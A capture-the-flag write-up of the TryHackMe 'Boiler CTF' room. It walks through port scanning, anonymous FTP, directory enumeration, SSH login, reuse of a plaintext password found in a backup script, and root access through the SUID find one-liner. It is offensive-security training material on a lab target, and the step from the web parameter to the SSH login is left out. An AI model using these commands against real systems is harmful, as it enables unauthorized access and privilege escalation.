

Boiler CTF

Boiler CTF

<https://tryhackme.com/room/boilerctf2>

```
rustscan -a 10.10.184.160 -- -sC -sV -A | tee scan.txt
```

Open 10.10.184.160:21

Open 10.10.184.160:80

Open 10.10.184.160:10000

Open 10.10.184.160:55007(SSH)

```
PORT      STATE SERVICE REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_  Connected to ::ffff:10.18.88.130
|_  Logged in as ftp
|_  TYPE: ASCII
|_  No session bandwidth limit
|_  Session timeout in seconds is 300
|_  Control connection is plain text
|_  Data connections will be plain text
|_  At session startup, client count was 2
|_  vsFTPD 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http      syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10000/tcp open  http      syn-ack MiniServ 1.930 (Webmin httpd)
|_http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: EE472410D9375683E3839A62AD0B5A6D
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
55007/tcp open  ssh       syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_  2048 e3abe1392d95eb135516d6ce8df911e5 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCA8bsvFyC4EXgZiLLR/7o9EHosUTTgJKIdjtMUyYrhUpJiEdUahT64rItJMCyO47iZTR5wkQx2H8HTHT6iQ5GLmzLWGFST
PKXigCnYqfS3D73NJI6T2qWrbCTaIG5QAS5yAyPERXXz3ofHRRiCr3fYHpVopUbMTWZZDjR3DKv7IDsOCbMKSwmmgdfxHfIBRtCkdiUdGJwP/g0uEUtHbSYsNZbc1s1a5Epa
LoDt
|_  256 aedef2bbb78a00702074567625c0df38 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBLIDkRDNuOttfKoucY3J3eXFICcitdce9/E0dMn8/7ZrUkM23RMsmFncOVJT
|_  256 252583f2a7758aa046b2127004685ccb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPsAMyp7Cf1qf50P6K9P2n30r4MVz09NnjX7LvcKgG2p
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Go to anonymous FTP. Here is txt file

```

kali@kali:~$ ftp 10.10.184.160
Connected to 10.10.184.160.
220 (vsFTPd 3.0.3)
Name (10.10.184.160:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44249|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||40955|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp           74 Aug 21  2019 .info.txt
226 Directory send OK.
ftp> wget *
?Invalid command.
ftp> mget *
ftp> get .info.txt
local: .info.txt remote: .info.txt
229 Entering Extended Passive Mode (|||43461|)
150 Opening BINARY mode data connection for .info.txt (74 bytes).
100% |*****|
226 Transfer complete.
74 bytes received in 00:00 (0.81 KiB/s)
ftp>

```

Interesting message))

```
(kali㉿kali)-[~/THM/boiler]
$ cat .info.txt
Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!
```

Decode by ROT-13

Recipe

ROT13 Brute Force

☒ Rotate lower case chars
 ☒ Rotate upper case chars

☐ Rotate numbers

Sample length
100

Sample offset
0

☒ Print amount

Crib (known plaintext string)

Input

Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!

73

1

Raw Bytes

Output

Amount = 11: Hsqr uylrcb rm qcc gd wms dglb gr. Jmj. Pckckzcp: Clskcpyrml gq rfc icw!
 Amount = 12: Itrs vzmsdc sn rdd he xnt ehmc hs. Knk. Qldldadq: Dmtdqzshnm hr sgd jdx!
 Amount = 13: Just wanted to see if you find it. Lol. Remember: Enumeration is the key!
 Amount = 14: Kvtu xboufe up tff jg zpv gloc ju. Mpm. Srfncfs: Fovnfslujpo jt uif trf!
 Amount = 15: Lwuv ycpvgf vq ugg kh aqw hkp f kv. Nqn. Tgogodgt: Gpwogtckvpq ku vjg mga!
 Amount = 16: Mxvw zdqwhg wr vhh li brx ilqg lw. Oro. Uhphehu: Hqxpjudwlrq lv wkh nhb!
 Amount = 17: Nywx aerxih xs wii mj csy jmrh mx. Psp. Viqiqfiv: Iryqivexmsr mw xli oic!
 Amount = 18: Ozyx hfsvii vt xii nk dtz knsi ny. Ota. Wairiraw: Jsziwfvnts nx vmi oid!

Go to enumerate)

```
gobuster dir -u http://10.10.184.160 -w /usr/share/dirbuster/wordlists/directory-  
list-2.3-medium.txt -x php,txt,zip -t 20
```

```

(kali@kali)-[~/THM/boiler] 10.10.160:10000: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt php,txt,zip
$ gobuster dir -u http://10.10.184.160 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip -t 20

Gobuster v3.6 @TheColonial & Christian Mehlmauer (@firefart)
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.184.160
[+] Method: GET
[+] Threads: 20 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404 gobuster/3.6
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,zip
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.php the server returned (Status: 403) [Size: 292] check the provided options for non-existing urls. http://10.10.184.160:10000/69
/manual (Status: 301) [Size: 315] [→ http://10.10.184.160/manual/]
/robots.txt (Status: 200) [Size: 257]
/joomla (Status: 301) [Size: 315] [→ http://10.10.184.160/joomla/]

```

Also lot of information in robots.txt

```

User-agent: *
Disallow: /

/tmp
/.ssh
/yellow
/not
/a++rabbit
/hole
/or
/is
/it

079 084 108 105 077 068 089 050 077 071 078 107 079 084 086 104 090 071 086 104 077 122 073 051 089 122 085 048 077 084 103 121 089 109 070 104 078 084 069 049 079 068 081 075

```

And here is was the hardest moment for me

```
gobuster dir -u http://10.10.184.160/joomla -w
```

```
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip -t 20
```

```
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.184.160/joomla
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,zip
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

./php (Status: 403) [Size: 299]
/images (Status: 301) [Size: 322] [→ http://10.10.184.160/joomla/images/]
/media (Status: 301) [Size: 321] [→ http://10.10.184.160/joomla/media/]
/templates (Status: 301) [Size: 325] [→ http://10.10.184.160/joomla/templates/]
/index.php (Status: 200) [Size: 12484]
/modules (Status: 301) [Size: 323] [→ http://10.10.184.160/joomla/modules/]
/tests (Status: 301) [Size: 321] [→ http://10.10.184.160/joomla/tests/]
/bin (Status: 301) [Size: 319] [→ http://10.10.184.160/joomla/bin/]
/plugins (Status: 301) [Size: 323] [→ http://10.10.184.160/joomla/plugins/]
/includes (Status: 301) [Size: 324] [→ http://10.10.184.160/joomla/includes/]
/language (Status: 301) [Size: 324] [→ http://10.10.184.160/joomla/language/]
/README.txt (Status: 200) [Size: 4793]
/components (Status: 301) [Size: 326] [→ http://10.10.184.160/joomla/components/]
/cache (Status: 301) [Size: 321] [→ http://10.10.184.160/joomla/cache/]
/libraries (Status: 301) [Size: 325] [→ http://10.10.184.160/joomla/libraries/]
/installation (Status: 301) [Size: 328] [→ http://10.10.184.160/joomla/installation/]
/build (Status: 301) [Size: 321] [→ http://10.10.184.160/joomla/build/]
/tmp (Status: 301) [Size: 319] [→ http://10.10.184.160/joomla/tmp/]
/LICENSE.txt (Status: 200) [Size: 18092]
/layouts (Status: 301) [Size: 323] [→ http://10.10.184.160/joomla/layouts/]
/administrator (Status: 301) [Size: 329] [→ http://10.10.184.160/joomla/administrator/]
/configuration.php (Status: 200) [Size: 0]
/htaccess.txt (Status: 200) [Size: 3159]
/cli (Status: 301) [Size: 319] [→ http://10.10.184.160/joomla/cli/]
/_files (Status: 301) [Size: 322] [→ http://10.10.184.160/joomla/_files/]
./php (Status: 403) [Size: 299]
```

I found a lot of directories. After I check them 1 by 1 I found only rabbit holes. Only after I use another utility I found directory with interesting information

```
dirsearch -u http://10.10.184.160/joomla
```

```
(kali@kali)~[~/THM/boiler]
$ dirsearch -u http://10.10.184.160/joomla
dirsearch v0.4.2
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/10.10.184.160/-joomla_23-11-25_13-55-10.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-11-25_13-55-10.log
Target: http://10.10.184.160/joomla/
[13:55:10] Starting:
[13:55:17] 403 - 309B - /joomla/.htaccess.orig
[13:55:17] 403 - 309B - /joomla/.htaccess.bak1
[13:55:17] 403 - 306B - /joomla/.ht_wsr.txt
[13:55:17] 403 - 309B - /joomla/.htaccess.save
[13:55:17] 403 - 309B - /joomla/.htaccess_orig
[13:55:17] 403 - 310B - /joomla/.htaccess_extra
[13:55:17] 403 - 307B - /joomla/.htaccess_sc
[13:55:17] 403 - 311B - /joomla/.htaccess.sample
[13:55:17] 403 - 309B - /joomla/.htpasswd_test
[13:55:17] 403 - 299B - /joomla/.htm_zer_324
[13:55:17] 403 - 307B - /joomla/.htaccessOLD1
[13:55:17] 403 - 300B - /joomla/.html_zer_12484
[13:55:17] 403 - 305B - /joomla/.htpasswd_3
[13:55:17] 403 - 308B - /joomla/.htaccessOLD2
[13:55:17] 403 - 307B - /joomla/.htaccessBAK
[13:55:17] 403 - 306B - /joomla/.httr_oauth
[13:55:20] 403 - 299B - /joomla/.php_zer_324
[13:55:29] 200 - 3KB - /joomla/Jenkinsfile
[13:55:30] 200 - 18KB - /joomla/LICENSE.txt
[13:55:31] 200 - 5KB - /joomla/README.txt
[13:55:31] 200 - 6KB - /joomla/README.md
[13:55:34] 301 - 322B - /joomla/_files → http://10.10.184.160/joomla/_files/
[13:55:35] 301 - 321B - /joomla/_test → http://10.10.184.160/joomla/_test/
[13:55:48] 200 - 5KB - /joomla/administrator/
```

The `_test` directory I didn't found before !!!!!!!

Here I found parametr which I can manipulate


```

(kali@kali)-[~]
$ ssh -p 55007 basterd@10.10.184.160
The authenticity of host '[10.10.184.160]:55007 ([10.10.184.160]:55007)' can't be established.
ED25519 key fingerprint is SHA256:GhS3mY+uTmthQe0zwxRCFZHv1MN2hrYkdao9HJvi8lk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.184.160]:55007' (ED25519) to the list of known hosts.
basterd@10.10.184.160's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

8 packages can be updated.
8 updates are security updates.

Last login: Thu Aug 22 12:29:45 2019 from 192.168.1.199
$ id
uid=1001(basterd) gid=1001(basterd) groups=1001(basterd)
$ ls
backup.sh
$ ls -la
total 16
drwxr-xr-x 3 basterd basterd 4096 Aug 22 2019 .
drwxr-xr-x 4 root     root     4096 Aug 22 2019 ..
-rwxr-xr-x 1 stoner  basterd  699 Aug 21 2019 backup.sh
-rw-r--r-- 1 basterd basterd   0 Aug 22 2019 .bash_history
drwxr-xr-x 2 basterd basterd 4096 Aug 22 2019 .cache
$ pwd
/home/basterd

```

in backups script I found creds for another user

```

$ cat backup.sh
REMOTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
DATE=`date +%y\.%m\.%d\.`
USER=stoner
#superduperpa$no1knows

ssh $USER@$REMOTE mkdir $TARGET/$DATE
if [ -d "$SOURCE" ]; then
  for i in `ls $SOURCE | grep 'data'`;do
    echo "Beginning copy of" $i >> $LOG
    scp $SOURCE/$i $USER@$REMOTE:$TARGET/$DATE
    echo $i "completed" >> $LOG
  done
else
  if [ -n `ssh $USER@$REMOTE ls $TARGET/$DATE/$i 2>/dev/null` ];then
    rm $SOURCE/$i
    echo $i "removed" >> $LOG
  else
    echo "Copy not complete" >> $LOG
  fi
fi
done

```

```

$ su stoner
Password:
stoner@Vulnerable:/home/basterd$ id
uid=1000(stoner) gid=1000(stoner) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
stoner@Vulnerable:/home/basterd$ ls -la
ls: cannot open directory '.': Permission denied
stoner@Vulnerable:/home/basterd$ cd ..
stoner@Vulnerable:/home$ ls
basterd stoner
stoner@Vulnerable:/home$ cd stoner
stoner@Vulnerable:~$ ls -la
total 16
drwxr-x--- 3 stoner stoner 4096 Aug 22 2019 .
drwxr-xr-x 4 root root 4096 Aug 22 2019 ..
drwxrwxr-x 2 stoner stoner 4096 Aug 22 2019 .nano
-rw-r--r-- 1 stoner stoner 34 Aug 21 2019 .secret
stoner@Vulnerable:~$ cat .secret
Yo
stoner@Vulnerable:~$

```

In the machine binary *find* has a SUID privilage.I use this for privilage escalation

```
find / -type f -perm -u=s -ls 2>/dev/null
```

```

stoner@Vulnerable:~$ find / -type f -perm -u=s -ls 2>/dev/null
264453 40 -rwsr-xr-x 1 root root 38900 Mar 26 2019 /bin/su
276977 32 -rwsr-xr-x 1 root root 30112 Jul 12 2016 /bin/fusermount
260151 28 -rwsr-xr-x 1 root root 26492 May 15 2019 /bin/umount
260156 36 -rwsr-xr-x 1 root root 34812 May 15 2019 /bin/mount
260172 44 -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6
260171 40 -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping
394226 16 -rwsr-xr-x 1 root root 13960 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
416088 16 -rwsr-xr-- 1 root www-data 13692 Apr 3 2019 /usr/lib/apache2/suexec-custom
416085 16 -rwsr-xr-- 1 root www-data 13692 Apr 3 2019 /usr/lib/apache2/suexec-pristine
260101 48 -rwsr-xr-- 1 root messagebus 46436 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
264108 504 -rwsr-xr-x 1 root root 513528 Mar 4 2019 /usr/lib/openssh/ssh-keysign
260699 8 -rwsr-xr-x 1 root root 5480 Mar 27 2017 /usr/lib/eject/dmccrypt-get-device
265132 36 -rwsr-xr-x 1 root root 36288 Mar 26 2019 /usr/bin/newgidmap
260428 228 -r-sr-xr-x 1 root root 232196 Feb 8 2016 /usr/bin/find
278157 52 -rwsr-sr-x 1 daemon daemon 50748 Jan 15 2016 /usr/bin/at
263308 40 -rwsr-xr-x 1 root root 39560 Mar 26 2019 /usr/bin/chsh
263304 76 -rwsr-xr-x 1 root root 74280 Mar 26 2019 /usr/bin/chfn
263305 52 -rwsr-xr-x 1 root root 53128 Mar 26 2019 /usr/bin/passwd
260641 36 -rwsr-xr-x 1 root root 34680 Mar 26 2019 /usr/bin/newgrp
263253 160 -rwsr-xr-x 1 root root 159852 Jun 11 2019 /usr/bin/sudo
264477 20 -rwsr-xr-x 1 root root 18216 Mar 27 2019 /usr/bin/pkexec
263306 80 -rwsr-xr-x 1 root root 78012 Mar 26 2019 /usr/bin/gpasswd
265133 36 -rwsr-xr-x 1 root root 36288 Mar 26 2019 /usr/bin/newuidmap
stoner@Vulnerable:~$

```

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

```

stoner@Vulnerable:~$ /usr/bin/find . -exec /bin/sh -p \; -quit
# id
uid=1000(stoner) gid=1000(stoner) euid=0(root) groups=1000(stoner),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
# cd /root
# ls
root.txt
# cat root.txt
#

```